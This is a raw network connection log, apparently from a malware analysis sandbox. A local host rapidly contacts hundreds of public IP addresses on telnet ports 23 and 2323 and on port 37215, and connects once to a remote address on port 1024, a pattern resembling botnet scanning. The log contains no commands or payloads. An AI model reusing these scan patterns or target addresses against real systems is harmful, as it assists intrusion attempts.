Feb 19, 2025 19:43:18.424350023 CET	34986	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:18.424391031 CET	51246	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:18.424407959 CET	57600	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:18.424422979 CET	34986	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:18.424603939 CET	51410	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:18.424603939 CET	51410	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:18.429245949 CET	37215	51246	41.81.144.144	192.168.2.13
Feb 19, 2025 19:43:18.429337025 CET	37215	57600	41.43.1.195	192.168.2.13
Feb 19, 2025 19:43:18.429577112 CET	37215	34986	41.64.83.78	192.168.2.13
Feb 19, 2025 19:43:18.429759026 CET	37215	51410	41.146.26.197	192.168.2.13
Feb 19, 2025 19:43:18.438579082 CET	37215	59192	41.21.202.47	192.168.2.13
Feb 19, 2025 19:43:18.438606024 CET	37215	47630	41.45.167.168	192.168.2.13
Feb 19, 2025 19:43:18.438612938 CET	37215	34326	41.165.158.129	192.168.2.13
Feb 19, 2025 19:43:18.474638939 CET	37215	51410	41.146.26.197	192.168.2.13
Feb 19, 2025 19:43:18.474731922 CET	37215	34986	41.64.83.78	192.168.2.13
Feb 19, 2025 19:43:18.474760056 CET	37215	57600	41.43.1.195	192.168.2.13
Feb 19, 2025 19:43:18.474787951 CET	37215	51246	41.81.144.144	192.168.2.13
Feb 19, 2025 19:43:18.994941950 CET	57404	1024	192.168.2.13	141.98.11.41
Feb 19, 2025 19:43:19.004004002 CET	24754	2323	192.168.2.13	69.63.109.125
Feb 19, 2025 19:43:19.004010916 CET	24754	23	192.168.2.13	168.151.244.135
Feb 19, 2025 19:43:19.004018068 CET	24754	23	192.168.2.13	108.192.27.184
Feb 19, 2025 19:43:19.004035950 CET	24754	23	192.168.2.13	124.186.150.169
Feb 19, 2025 19:43:19.004041910 CET	24754	23	192.168.2.13	89.54.213.18
Feb 19, 2025 19:43:19.004055023 CET	24754	23	192.168.2.13	46.163.187.164
Feb 19, 2025 19:43:19.004064083 CET	24754	23	192.168.2.13	183.173.112.68
Feb 19, 2025 19:43:19.004081011 CET	24754	23	192.168.2.13	53.86.21.27
Feb 19, 2025 19:43:19.004085064 CET	24754	23	192.168.2.13	41.5.222.185
Feb 19, 2025 19:43:19.004095078 CET	24754	23	192.168.2.13	195.231.47.231
Feb 19, 2025 19:43:19.004105091 CET	24754	2323	192.168.2.13	84.16.243.183
Feb 19, 2025 19:43:19.004111052 CET	24754	23	192.168.2.13	186.2.254.45
Feb 19, 2025 19:43:19.004122972 CET	24754	23	192.168.2.13	218.13.31.38
Feb 19, 2025 19:43:19.004137993 CET	24754	23	192.168.2.13	117.41.133.241
Feb 19, 2025 19:43:19.004137993 CET	24754	23	192.168.2.13	58.134.175.156
Feb 19, 2025 19:43:19.004169941 CET	24754	23	192.168.2.13	8.212.35.231
Feb 19, 2025 19:43:19.004169941 CET	24754	23	192.168.2.13	188.235.147.65
Feb 19, 2025 19:43:19.004169941 CET	24754	23	192.168.2.13	211.206.176.6
Feb 19, 2025 19:43:19.004189014 CET	24754	23	192.168.2.13	36.165.186.176
Feb 19, 2025 19:43:19.004189014 CET	24754	23	192.168.2.13	50.105.188.141
Feb 19, 2025 19:43:19.004195929 CET	24754	2323	192.168.2.13	188.241.2.248
Feb 19, 2025 19:43:19.004210949 CET	24754	23	192.168.2.13	39.220.223.241
Feb 19, 2025 19:43:19.004211903 CET	24754	23	192.168.2.13	48.154.209.69
Feb 19, 2025 19:43:19.004228115 CET	24754	23	192.168.2.13	78.158.56.192
Feb 19, 2025 19:43:19.004228115 CET	24754	23	192.168.2.13	203.67.125.78
Feb 19, 2025 19:43:19.004228115 CET	24754	23	192.168.2.13	116.134.219.207
Feb 19, 2025 19:43:19.004231930 CET	24754	23	192.168.2.13	95.71.1.245
Feb 19, 2025 19:43:19.004232883 CET	24754	23	192.168.2.13	196.14.57.235
Feb 19, 2025 19:43:19.004251003 CET	24754	23	192.168.2.13	59.164.32.134
Feb 19, 2025 19:43:19.004265070 CET	24754	2323	192.168.2.13	98.129.120.76
Feb 19, 2025 19:43:19.004266977 CET	24754	23	192.168.2.13	130.194.35.20
Feb 19, 2025 19:43:19.004275084 CET	24754	23	192.168.2.13	182.120.155.106
Feb 19, 2025 19:43:19.004257917 CET	24754	23	192.168.2.13	205.123.57.151
Feb 19, 2025 19:43:19.004292011 CET	24754	23	192.168.2.13	5.201.43.21
Feb 19, 2025 19:43:19.004302979 CET	24754	23	192.168.2.13	182.17.86.249
Feb 19, 2025 19:43:19.004303932 CET	24754	23	192.168.2.13	170.122.187.28
Feb 19, 2025 19:43:19.004312038 CET	24754	23	192.168.2.13	157.169.98.209
Feb 19, 2025 19:43:19.004328966 CET	24754	23	192.168.2.13	95.24.5.4
Feb 19, 2025 19:43:19.004328966 CET	24754	23	192.168.2.13	170.224.5.222
Feb 19, 2025 19:43:19.004343987 CET	24754	2323	192.168.2.13	67.80.223.30
Feb 19, 2025 19:43:19.004345894 CET	24754	23	192.168.2.13	152.108.28.137
Feb 19, 2025 19:43:19.004358053 CET	24754	23	192.168.2.13	152.89.2.223
Feb 19, 2025 19:43:19.004360914 CET	24754	23	192.168.2.13	65.200.130.243
Feb 19, 2025 19:43:19.004364014 CET	24754	23	192.168.2.13	61.177.89.14
Feb 19, 2025 19:43:19.004371881 CET	24754	23	192.168.2.13	40.206.177.10
Feb 19, 2025 19:43:19.004384995 CET	24754	23	192.168.2.13	105.104.182.199
Feb 19, 2025 19:43:19.004386902 CET	24754	23	192.168.2.13	20.233.29.16
Feb 19, 2025 19:43:19.004410982 CET	24754	23	192.168.2.13	157.185.30.79
Feb 19, 2025 19:43:19.004410982 CET	24754	23	192.168.2.13	177.35.29.233
Feb 19, 2025 19:43:19.004415035 CET	24754	23	192.168.2.13	137.41.119.147
Feb 19, 2025 19:43:19.004427910 CET	24754	23	192.168.2.13	61.159.39.194
Feb 19, 2025 19:43:19.004441023 CET	24754	2323	192.168.2.13	186.36.134.60
Feb 19, 2025 19:43:19.004442930 CET	24754	23	192.168.2.13	82.6.70.199
Feb 19, 2025 19:43:19.004446030 CET	24754	23	192.168.2.13	94.20.200.103
Feb 19, 2025 19:43:19.004461050 CET	24754	23	192.168.2.13	159.13.105.24
Feb 19, 2025 19:43:19.004470110 CET	24754	23	192.168.2.13	98.231.97.227
Feb 19, 2025 19:43:19.004478931 CET	24754	23	192.168.2.13	116.189.243.11
Feb 19, 2025 19:43:19.004478931 CET	24754	23	192.168.2.13	197.59.68.64
Feb 19, 2025 19:43:19.004492044 CET	24754	23	192.168.2.13	52.184.226.135
Feb 19, 2025 19:43:19.004506111 CET	24754	23	192.168.2.13	84.56.200.10
Feb 19, 2025 19:43:19.004511118 CET	24754	2323	192.168.2.13	8.123.194.146
Feb 19, 2025 19:43:19.004524946 CET	24754	23	192.168.2.13	1.80.85.108
Feb 19, 2025 19:43:19.004543066 CET	24754	23	192.168.2.13	43.196.228.115
Feb 19, 2025 19:43:19.004540920 CET	24754	23	192.168.2.13	207.128.38.181
Feb 19, 2025 19:43:19.004540920 CET	24754	23	192.168.2.13	206.152.240.108
Feb 19, 2025 19:43:19.004540920 CET	24754	23	192.168.2.13	212.177.109.41
Feb 19, 2025 19:43:19.004551888 CET	24754	23	192.168.2.13	196.6.112.166
Feb 19, 2025 19:43:19.004566908 CET	24754	23	192.168.2.13	47.10.249.111
Feb 19, 2025 19:43:19.004586935 CET	24754	23	192.168.2.13	17.101.128.18
Feb 19, 2025 19:43:19.004591942 CET	24754	23	192.168.2.13	216.165.128.184
Feb 19, 2025 19:43:19.004591942 CET	24754	23	192.168.2.13	95.58.79.20
Feb 19, 2025 19:43:19.004591942 CET	24754	2323	192.168.2.13	47.229.68.49
Feb 19, 2025 19:43:19.004602909 CET	24754	23	192.168.2.13	53.184.55.53
Feb 19, 2025 19:43:19.004604101 CET	24754	23	192.168.2.13	174.248.28.54
Feb 19, 2025 19:43:19.004605055 CET	24754	23	192.168.2.13	61.250.215.180
Feb 19, 2025 19:43:19.004611015 CET	24754	23	192.168.2.13	17.219.117.246
Feb 19, 2025 19:43:19.004642010 CET	24754	23	192.168.2.13	174.140.144.234
Feb 19, 2025 19:43:19.004642963 CET	24754	23	192.168.2.13	207.234.192.121
Feb 19, 2025 19:43:19.004652977 CET	24754	2323	192.168.2.13	66.129.96.204
Feb 19, 2025 19:43:19.004656076 CET	24754	23	192.168.2.13	107.187.196.147
Feb 19, 2025 19:43:19.004669905 CET	24754	23	192.168.2.13	77.245.50.138
Feb 19, 2025 19:43:19.004676104 CET	24754	23	192.168.2.13	183.23.187.199
Feb 19, 2025 19:43:19.004676104 CET	24754	23	192.168.2.13	117.31.113.164
Feb 19, 2025 19:43:19.004687071 CET	24754	23	192.168.2.13	149.125.250.78
Feb 19, 2025 19:43:19.004689932 CET	24754	23	192.168.2.13	181.239.247.156
Feb 19, 2025 19:43:19.004723072 CET	24754	23	192.168.2.13	82.172.192.129
Feb 19, 2025 19:43:19.004723072 CET	24754	23	192.168.2.13	70.149.108.169
Feb 19, 2025 19:43:19.004724026 CET	24754	23	192.168.2.13	107.54.8.202
Feb 19, 2025 19:43:19.004731894 CET	24754	2323	192.168.2.13	143.124.205.117
Feb 19, 2025 19:43:19.004731894 CET	24754	23	192.168.2.13	34.19.46.33
Feb 19, 2025 19:43:19.004735947 CET	24754	23	192.168.2.13	162.94.184.60
Feb 19, 2025 19:43:19.004741907 CET	24754	23	192.168.2.13	86.169.19.201
Feb 19, 2025 19:43:19.004750967 CET	24754	23	192.168.2.13	151.188.44.226
Feb 19, 2025 19:43:19.004750967 CET	24754	23	192.168.2.13	20.172.150.62
Feb 19, 2025 19:43:19.004753113 CET	24754	23	192.168.2.13	106.46.239.120
Feb 19, 2025 19:43:19.004754066 CET	24754	23	192.168.2.13	48.231.241.214
Feb 19, 2025 19:43:19.004754066 CET	24754	23	192.168.2.13	162.124.40.226
Feb 19, 2025 19:43:19.004755020 CET	24754	23	192.168.2.13	123.7.140.134
Feb 19, 2025 19:43:19.004760027 CET	24754	23	192.168.2.13	1.1.29.167
Feb 19, 2025 19:43:19.004764080 CET	24754	23	192.168.2.13	112.134.245.198
Feb 19, 2025 19:43:19.004765987 CET	24754	23	192.168.2.13	97.154.204.54
Feb 19, 2025 19:43:19.004769087 CET	24754	23	192.168.2.13	43.42.41.242
Feb 19, 2025 19:43:19.004774094 CET	24754	23	192.168.2.13	67.197.181.145
Feb 19, 2025 19:43:19.004774094 CET	24754	23	192.168.2.13	135.227.118.166
Feb 19, 2025 19:43:19.004776955 CET	24754	23	192.168.2.13	135.121.113.53
Feb 19, 2025 19:43:19.004776955 CET	24754	23	192.168.2.13	154.92.41.57
Feb 19, 2025 19:43:19.004777908 CET	24754	2323	192.168.2.13	170.35.128.159
Feb 19, 2025 19:43:19.004791021 CET	24754	23	192.168.2.13	71.54.165.58
Feb 19, 2025 19:43:19.004791975 CET	24754	23	192.168.2.13	52.98.249.155
Feb 19, 2025 19:43:19.004792929 CET	24754	23	192.168.2.13	217.222.122.187
Feb 19, 2025 19:43:19.004795074 CET	24754	2323	192.168.2.13	144.147.108.119
Feb 19, 2025 19:43:19.004817009 CET	24754	23	192.168.2.13	98.233.18.156
Feb 19, 2025 19:43:19.004817963 CET	24754	23	192.168.2.13	158.252.218.179
Feb 19, 2025 19:43:19.004817963 CET	24754	23	192.168.2.13	122.175.131.198
Feb 19, 2025 19:43:19.004820108 CET	24754	23	192.168.2.13	155.89.178.116
Feb 19, 2025 19:43:19.004821062 CET	24754	23	192.168.2.13	210.155.158.111
Feb 19, 2025 19:43:19.004823923 CET	24754	23	192.168.2.13	135.199.233.171
Feb 19, 2025 19:43:19.004823923 CET	24754	23	192.168.2.13	179.79.194.234
Feb 19, 2025 19:43:19.004832029 CET	24754	23	192.168.2.13	91.165.28.30
Feb 19, 2025 19:43:19.004853964 CET	24754	23	192.168.2.13	62.198.16.63
Feb 19, 2025 19:43:19.004858017 CET	24754	23	192.168.2.13	197.92.236.152
Feb 19, 2025 19:43:19.004862070 CET	24754	23	192.168.2.13	24.80.238.9
Feb 19, 2025 19:43:19.004863977 CET	24754	2323	192.168.2.13	128.47.49.252
Feb 19, 2025 19:43:19.004887104 CET	24754	23	192.168.2.13	108.98.150.112
Feb 19, 2025 19:43:19.004889011 CET	24754	23	192.168.2.13	34.239.113.198
Feb 19, 2025 19:43:19.004899025 CET	24754	23	192.168.2.13	14.240.135.191
Feb 19, 2025 19:43:19.004935026 CET	24754	23	192.168.2.13	37.2.71.107
Feb 19, 2025 19:43:19.004935026 CET	24754	23	192.168.2.13	58.182.85.141
Feb 19, 2025 19:43:19.004935980 CET	24754	2323	192.168.2.13	166.119.185.30
Feb 19, 2025 19:43:19.004935980 CET	24754	23	192.168.2.13	90.118.15.107
Feb 19, 2025 19:43:19.004935980 CET	24754	23	192.168.2.13	120.87.40.19
Feb 19, 2025 19:43:19.004935026 CET	24754	23	192.168.2.13	122.65.249.156
Feb 19, 2025 19:43:19.004945040 CET	24754	23	192.168.2.13	161.243.121.102
Feb 19, 2025 19:43:19.004947901 CET	24754	23	192.168.2.13	168.14.225.76
Feb 19, 2025 19:43:19.004950047 CET	24754	23	192.168.2.13	123.197.98.218
Feb 19, 2025 19:43:19.004950047 CET	24754	23	192.168.2.13	209.45.137.62
Feb 19, 2025 19:43:19.004950047 CET	24754	23	192.168.2.13	44.168.59.236
Feb 19, 2025 19:43:19.004957914 CET	24754	23	192.168.2.13	19.142.161.173
Feb 19, 2025 19:43:19.004957914 CET	24754	23	192.168.2.13	182.33.75.48
Feb 19, 2025 19:43:19.004961014 CET	24754	23	192.168.2.13	85.39.171.85
Feb 19, 2025 19:43:19.004968882 CET	24754	2323	192.168.2.13	104.50.85.114
Feb 19, 2025 19:43:19.004968882 CET	24754	23	192.168.2.13	103.248.129.30
Feb 19, 2025 19:43:19.004971981 CET	24754	23	192.168.2.13	43.248.27.9
Feb 19, 2025 19:43:19.004975080 CET	24754	23	192.168.2.13	223.75.134.237
Feb 19, 2025 19:43:19.004988909 CET	24754	23	192.168.2.13	174.249.239.137
Feb 19, 2025 19:43:19.004995108 CET	24754	23	192.168.2.13	223.137.65.194
Feb 19, 2025 19:43:19.005026102 CET	24754	2323	192.168.2.13	137.162.169.42
Feb 19, 2025 19:43:19.005027056 CET	24754	23	192.168.2.13	209.142.185.7
Feb 19, 2025 19:43:19.005027056 CET	24754	23	192.168.2.13	148.87.65.81
Feb 19, 2025 19:43:19.005027056 CET	24754	23	192.168.2.13	141.93.115.56
Feb 19, 2025 19:43:19.005032063 CET	24754	23	192.168.2.13	63.9.167.45
Feb 19, 2025 19:43:19.005033970 CET	24754	23	192.168.2.13	59.191.244.67
Feb 19, 2025 19:43:19.005034924 CET	24754	23	192.168.2.13	97.69.49.105
Feb 19, 2025 19:43:19.005034924 CET	24754	23	192.168.2.13	109.247.69.141
Feb 19, 2025 19:43:19.005040884 CET	24754	23	192.168.2.13	101.225.188.133
Feb 19, 2025 19:43:19.005044937 CET	24754	23	192.168.2.13	32.5.250.43
Feb 19, 2025 19:43:19.005053043 CET	24754	23	192.168.2.13	124.4.99.198
Feb 19, 2025 19:43:19.005053043 CET	24754	23	192.168.2.13	152.111.90.135
Feb 19, 2025 19:43:19.005053043 CET	24754	23	192.168.2.13	148.252.200.175
Feb 19, 2025 19:43:19.005067110 CET	24754	23	192.168.2.13	123.218.34.184
Feb 19, 2025 19:43:19.005084038 CET	24754	2323	192.168.2.13	117.228.253.56
Feb 19, 2025 19:43:19.005098104 CET	24754	23	192.168.2.13	163.153.107.117
Feb 19, 2025 19:43:19.005103111 CET	24754	23	192.168.2.13	111.19.238.36
Feb 19, 2025 19:43:19.005127907 CET	24754	23	192.168.2.13	113.17.79.191
Feb 19, 2025 19:43:19.005127907 CET	24754	23	192.168.2.13	120.32.0.203
Feb 19, 2025 19:43:19.005127907 CET	24754	23	192.168.2.13	137.247.112.155
Feb 19, 2025 19:43:19.005127907 CET	24754	23	192.168.2.13	191.166.98.199
Feb 19, 2025 19:43:19.005127907 CET	24754	23	192.168.2.13	136.104.15.26
Feb 19, 2025 19:43:19.005141020 CET	24754	23	192.168.2.13	212.48.82.159
Feb 19, 2025 19:43:19.005156994 CET	24754	2323	192.168.2.13	137.122.213.219
Feb 19, 2025 19:43:19.005156994 CET	24754	23	192.168.2.13	42.96.37.244
Feb 19, 2025 19:43:19.005156994 CET	24754	23	192.168.2.13	148.162.96.23
Feb 19, 2025 19:43:19.005163908 CET	24754	23	192.168.2.13	202.211.58.100
Feb 19, 2025 19:43:19.005182028 CET	24754	23	192.168.2.13	151.117.185.40
Feb 19, 2025 19:43:19.005183935 CET	24754	23	192.168.2.13	204.183.169.168
Feb 19, 2025 19:43:19.005194902 CET	24754	23	192.168.2.13	25.61.219.88
Feb 19, 2025 19:43:19.005199909 CET	24754	23	192.168.2.13	202.239.216.93
Feb 19, 2025 19:43:19.005227089 CET	24754	23	192.168.2.13	79.77.2.8
Feb 19, 2025 19:43:19.005227089 CET	24754	23	192.168.2.13	38.55.32.108
Feb 19, 2025 19:43:19.005229950 CET	24754	23	192.168.2.13	86.61.59.123
Feb 19, 2025 19:43:19.005229950 CET	24754	23	192.168.2.13	12.183.43.158
Feb 19, 2025 19:43:19.005233049 CET	24754	2323	192.168.2.13	221.151.76.22
Feb 19, 2025 19:43:19.005232096 CET	24754	23	192.168.2.13	216.115.234.46
Feb 19, 2025 19:43:19.005239010 CET	24754	23	192.168.2.13	169.53.50.166
Feb 19, 2025 19:43:19.005242109 CET	24754	23	192.168.2.13	96.91.208.37
Feb 19, 2025 19:43:19.005242109 CET	24754	23	192.168.2.13	116.228.64.91
Feb 19, 2025 19:43:19.005259037 CET	24754	23	192.168.2.13	32.133.6.116
Feb 19, 2025 19:43:19.005259037 CET	24754	23	192.168.2.13	130.177.95.71
Feb 19, 2025 19:43:19.005275965 CET	24754	23	192.168.2.13	147.25.212.226
Feb 19, 2025 19:43:19.005291939 CET	24754	23	192.168.2.13	62.191.220.39
Feb 19, 2025 19:43:19.005306959 CET	24754	2323	192.168.2.13	47.172.237.235
Feb 19, 2025 19:43:19.005314112 CET	24754	23	192.168.2.13	131.76.177.125
Feb 19, 2025 19:43:19.005331039 CET	24754	23	192.168.2.13	209.49.213.132
Feb 19, 2025 19:43:19.005331993 CET	24754	23	192.168.2.13	20.175.202.95
Feb 19, 2025 19:43:19.005335093 CET	24754	23	192.168.2.13	193.39.209.139
Feb 19, 2025 19:43:19.005352020 CET	24754	23	192.168.2.13	176.37.121.188
Feb 19, 2025 19:43:19.005352974 CET	24754	23	192.168.2.13	157.52.244.38
Feb 19, 2025 19:43:19.005367041 CET	24754	23	192.168.2.13	187.172.210.215
Feb 19, 2025 19:43:19.005368948 CET	24754	23	192.168.2.13	181.84.204.74
Feb 19, 2025 19:43:19.005377054 CET	24754	23	192.168.2.13	208.129.85.185
Feb 19, 2025 19:43:19.005399942 CET	24754	2323	192.168.2.13	164.107.234.134
Feb 19, 2025 19:43:19.005399942 CET	24754	23	192.168.2.13	195.213.73.245
Feb 19, 2025 19:43:19.005405903 CET	24754	23	192.168.2.13	197.8.149.55
Feb 19, 2025 19:43:19.005408049 CET	24754	23	192.168.2.13	32.217.201.197
Feb 19, 2025 19:43:19.005408049 CET	24754	23	192.168.2.13	4.36.239.247
Feb 19, 2025 19:43:19.005414963 CET	24754	23	192.168.2.13	34.67.204.104
Feb 19, 2025 19:43:19.005422115 CET	24754	23	192.168.2.13	73.157.65.55
Feb 19, 2025 19:43:19.005422115 CET	24754	23	192.168.2.13	82.225.166.117
Feb 19, 2025 19:43:19.005435944 CET	24754	23	192.168.2.13	62.244.7.254
Feb 19, 2025 19:43:19.005439997 CET	24754	23	192.168.2.13	207.198.42.8
Feb 19, 2025 19:43:19.005454063 CET	24754	2323	192.168.2.13	178.54.77.253
Feb 19, 2025 19:43:19.005456924 CET	24754	23	192.168.2.13	54.88.71.107
Feb 19, 2025 19:43:19.005474091 CET	24754	23	192.168.2.13	155.163.109.54
Feb 19, 2025 19:43:19.005479097 CET	24754	23	192.168.2.13	40.34.172.181
Feb 19, 2025 19:43:19.005486965 CET	24754	23	192.168.2.13	117.109.189.113
Feb 19, 2025 19:43:19.005496025 CET	24754	23	192.168.2.13	9.15.78.144
Feb 19, 2025 19:43:19.005511999 CET	24754	23	192.168.2.13	172.63.8.10
Feb 19, 2025 19:43:19.005511999 CET	24754	23	192.168.2.13	144.117.41.240
Feb 19, 2025 19:43:19.005526066 CET	24754	23	192.168.2.13	198.21.240.175
Feb 19, 2025 19:43:19.005531073 CET	24754	23	192.168.2.13	80.136.90.99
Feb 19, 2025 19:43:19.005537033 CET	24754	2323	192.168.2.13	59.174.228.133
Feb 19, 2025 19:43:19.005542040 CET	24754	23	192.168.2.13	67.102.96.85
Feb 19, 2025 19:43:19.005561113 CET	24754	23	192.168.2.13	163.92.192.62
Feb 19, 2025 19:43:19.005563021 CET	24754	23	192.168.2.13	134.132.192.241
Feb 19, 2025 19:43:19.005563974 CET	24754	23	192.168.2.13	173.65.203.70
Feb 19, 2025 19:43:19.005588055 CET	24754	23	192.168.2.13	120.119.161.210
Feb 19, 2025 19:43:19.005593061 CET	24754	23	192.168.2.13	92.106.21.195
Feb 19, 2025 19:43:19.005595922 CET	24754	23	192.168.2.13	139.34.163.32
Feb 19, 2025 19:43:19.005605936 CET	24754	23	192.168.2.13	136.9.231.232
Feb 19, 2025 19:43:19.005609989 CET	24754	23	192.168.2.13	144.173.148.44
Feb 19, 2025 19:43:19.005625963 CET	24754	2323	192.168.2.13	155.185.235.99
Feb 19, 2025 19:43:19.005629063 CET	24754	23	192.168.2.13	97.152.48.68
Feb 19, 2025 19:43:19.005647898 CET	24754	23	192.168.2.13	159.6.87.203
Feb 19, 2025 19:43:19.005650997 CET	24754	23	192.168.2.13	96.150.144.137
Feb 19, 2025 19:43:19.005654097 CET	24754	23	192.168.2.13	61.180.212.245
Feb 19, 2025 19:43:19.005673885 CET	24754	23	192.168.2.13	39.226.42.6
Feb 19, 2025 19:43:19.005673885 CET	24754	23	192.168.2.13	162.7.164.172
Feb 19, 2025 19:43:19.005692959 CET	24754	23	192.168.2.13	4.9.48.203
Feb 19, 2025 19:43:19.005695105 CET	24754	23	192.168.2.13	87.231.193.188
Feb 19, 2025 19:43:19.005695105 CET	24754	2323	192.168.2.13	73.166.135.106
Feb 19, 2025 19:43:19.005695105 CET	24754	23	192.168.2.13	64.176.89.86
Feb 19, 2025 19:43:19.005695105 CET	24754	23	192.168.2.13	203.88.178.213
Feb 19, 2025 19:43:19.005702019 CET	24754	23	192.168.2.13	91.244.39.242
Feb 19, 2025 19:43:19.005702972 CET	24754	23	192.168.2.13	24.242.109.35
Feb 19, 2025 19:43:19.005702972 CET	24754	23	192.168.2.13	47.247.188.144
Feb 19, 2025 19:43:19.005707979 CET	24754	23	192.168.2.13	89.31.47.24
Feb 19, 2025 19:43:19.005726099 CET	24754	23	192.168.2.13	202.145.249.218
Feb 19, 2025 19:43:19.005743980 CET	24754	23	192.168.2.13	79.67.129.80
Feb 19, 2025 19:43:19.005748034 CET	24754	23	192.168.2.13	73.115.239.6
Feb 19, 2025 19:43:19.005748034 CET	24754	23	192.168.2.13	149.177.99.228
Feb 19, 2025 19:43:19.005763054 CET	24754	2323	192.168.2.13	213.138.113.108
Feb 19, 2025 19:43:19.005773067 CET	24754	23	192.168.2.13	161.175.178.240
Feb 19, 2025 19:43:19.005793095 CET	24754	23	192.168.2.13	89.251.17.167
Feb 19, 2025 19:43:19.005793095 CET	24754	23	192.168.2.13	191.98.244.233
Feb 19, 2025 19:43:19.005796909 CET	24754	23	192.168.2.13	197.182.131.49
Feb 19, 2025 19:43:19.005800962 CET	24754	23	192.168.2.13	198.206.211.7
Feb 19, 2025 19:43:19.005804062 CET	24754	23	192.168.2.13	41.63.221.48
Feb 19, 2025 19:43:19.005820036 CET	24754	23	192.168.2.13	131.51.243.33
Feb 19, 2025 19:43:19.005821943 CET	24754	23	192.168.2.13	60.158.188.3
Feb 19, 2025 19:43:19.005841017 CET	24754	2323	192.168.2.13	163.246.213.138
Feb 19, 2025 19:43:19.005842924 CET	24754	23	192.168.2.13	53.167.38.136
Feb 19, 2025 19:43:19.005842924 CET	24754	23	192.168.2.13	142.146.102.203
Feb 19, 2025 19:43:19.005877018 CET	24754	23	192.168.2.13	90.84.12.210
Feb 19, 2025 19:43:19.005881071 CET	24754	23	192.168.2.13	12.227.221.188
Feb 19, 2025 19:43:19.005893946 CET	24754	23	192.168.2.13	223.164.59.250
Feb 19, 2025 19:43:19.005906105 CET	24754	23	192.168.2.13	190.100.24.11
Feb 19, 2025 19:43:19.005925894 CET	24754	23	192.168.2.13	17.209.170.5
Feb 19, 2025 19:43:19.005928993 CET	24754	23	192.168.2.13	163.195.146.174
Feb 19, 2025 19:43:19.005939960 CET	24754	23	192.168.2.13	68.86.32.0
Feb 19, 2025 19:43:19.005942106 CET	24754	23	192.168.2.13	177.153.52.101
Feb 19, 2025 19:43:19.005956888 CET	24754	2323	192.168.2.13	223.166.154.231
Feb 19, 2025 19:43:19.005960941 CET	24754	23	192.168.2.13	13.69.223.63
Feb 19, 2025 19:43:19.005976915 CET	24754	23	192.168.2.13	23.103.14.186
Feb 19, 2025 19:43:19.005980968 CET	24754	23	192.168.2.13	187.236.51.176
Feb 19, 2025 19:43:19.005995989 CET	24754	23	192.168.2.13	135.131.53.201
Feb 19, 2025 19:43:19.006000996 CET	24754	23	192.168.2.13	223.149.124.5
Feb 19, 2025 19:43:19.006017923 CET	24754	23	192.168.2.13	4.232.126.121
Feb 19, 2025 19:43:19.006019115 CET	24754	23	192.168.2.13	102.176.221.157
Feb 19, 2025 19:43:19.006033897 CET	24754	23	192.168.2.13	115.33.29.156
Feb 19, 2025 19:43:19.006033897 CET	24754	23	192.168.2.13	8.90.211.224
Feb 19, 2025 19:43:19.006036043 CET	24754	2323	192.168.2.13	34.125.206.233
Feb 19, 2025 19:43:19.006055117 CET	24754	23	192.168.2.13	89.63.129.239
Feb 19, 2025 19:43:19.006057978 CET	24754	23	192.168.2.13	8.228.104.135
Feb 19, 2025 19:43:19.006072044 CET	24754	23	192.168.2.13	71.169.254.53
Feb 19, 2025 19:43:19.006084919 CET	24754	23	192.168.2.13	82.172.124.69
Feb 19, 2025 19:43:19.006091118 CET	24754	23	192.168.2.13	92.24.93.79
Feb 19, 2025 19:43:19.006093025 CET	24754	23	192.168.2.13	200.24.178.200
Feb 19, 2025 19:43:19.006108999 CET	24754	23	192.168.2.13	134.121.6.169
Feb 19, 2025 19:43:19.006113052 CET	24754	23	192.168.2.13	137.234.146.248
Feb 19, 2025 19:43:19.006134033 CET	24754	2323	192.168.2.13	27.98.44.165
Feb 19, 2025 19:43:19.006134987 CET	24754	23	192.168.2.13	83.128.253.156
Feb 19, 2025 19:43:19.006138086 CET	24754	23	192.168.2.13	137.116.122.187
Feb 19, 2025 19:43:19.006148100 CET	24754	23	192.168.2.13	4.143.28.159
Feb 19, 2025 19:43:19.006150961 CET	24754	23	192.168.2.13	159.171.109.144
Feb 19, 2025 19:43:19.006167889 CET	24754	23	192.168.2.13	62.135.109.93
Feb 19, 2025 19:43:19.006167889 CET	24754	23	192.168.2.13	84.85.233.130
Feb 19, 2025 19:43:19.006174088 CET	24754	23	192.168.2.13	97.73.83.216
Feb 19, 2025 19:43:19.006194115 CET	24754	23	192.168.2.13	221.192.12.211
Feb 19, 2025 19:43:19.006201982 CET	24754	2323	192.168.2.13	186.101.25.243
Feb 19, 2025 19:43:19.006201982 CET	24754	23	192.168.2.13	128.97.28.203
Feb 19, 2025 19:43:19.006201982 CET	24754	23	192.168.2.13	52.124.142.91
Feb 19, 2025 19:43:19.006217003 CET	24754	23	192.168.2.13	167.136.19.191
Feb 19, 2025 19:43:19.006217957 CET	24754	23	192.168.2.13	17.188.148.84
Feb 19, 2025 19:43:19.006227970 CET	24754	23	192.168.2.13	103.68.206.65
Feb 19, 2025 19:43:19.006241083 CET	24754	23	192.168.2.13	47.10.143.162
Feb 19, 2025 19:43:19.006277084 CET	24754	23	192.168.2.13	148.246.126.133
Feb 19, 2025 19:43:19.006277084 CET	24754	23	192.168.2.13	42.172.138.112
Feb 19, 2025 19:43:19.006277084 CET	24754	23	192.168.2.13	110.130.252.3
Feb 19, 2025 19:43:19.006277084 CET	24754	23	192.168.2.13	166.78.157.191
Feb 19, 2025 19:43:19.006279945 CET	24754	23	192.168.2.13	154.48.148.162
Feb 19, 2025 19:43:19.006282091 CET	24754	23	192.168.2.13	70.77.230.144
Feb 19, 2025 19:43:19.006292105 CET	24754	23	192.168.2.13	8.227.15.99
Feb 19, 2025 19:43:19.006294012 CET	24754	23	192.168.2.13	71.28.220.204
Feb 19, 2025 19:43:19.006294012 CET	24754	23	192.168.2.13	120.114.67.41
Feb 19, 2025 19:43:19.006297112 CET	24754	23	192.168.2.13	189.239.75.84
Feb 19, 2025 19:43:19.006299019 CET	24754	2323	192.168.2.13	35.51.189.24
Feb 19, 2025 19:43:19.006299019 CET	24754	23	192.168.2.13	169.107.68.201
Feb 19, 2025 19:43:19.006314039 CET	24754	23	192.168.2.13	132.152.212.114
Feb 19, 2025 19:43:19.006314993 CET	24754	23	192.168.2.13	135.94.88.204
Feb 19, 2025 19:43:19.006330013 CET	24754	23	192.168.2.13	155.151.115.46
Feb 19, 2025 19:43:19.006340981 CET	24754	2323	192.168.2.13	166.116.172.4
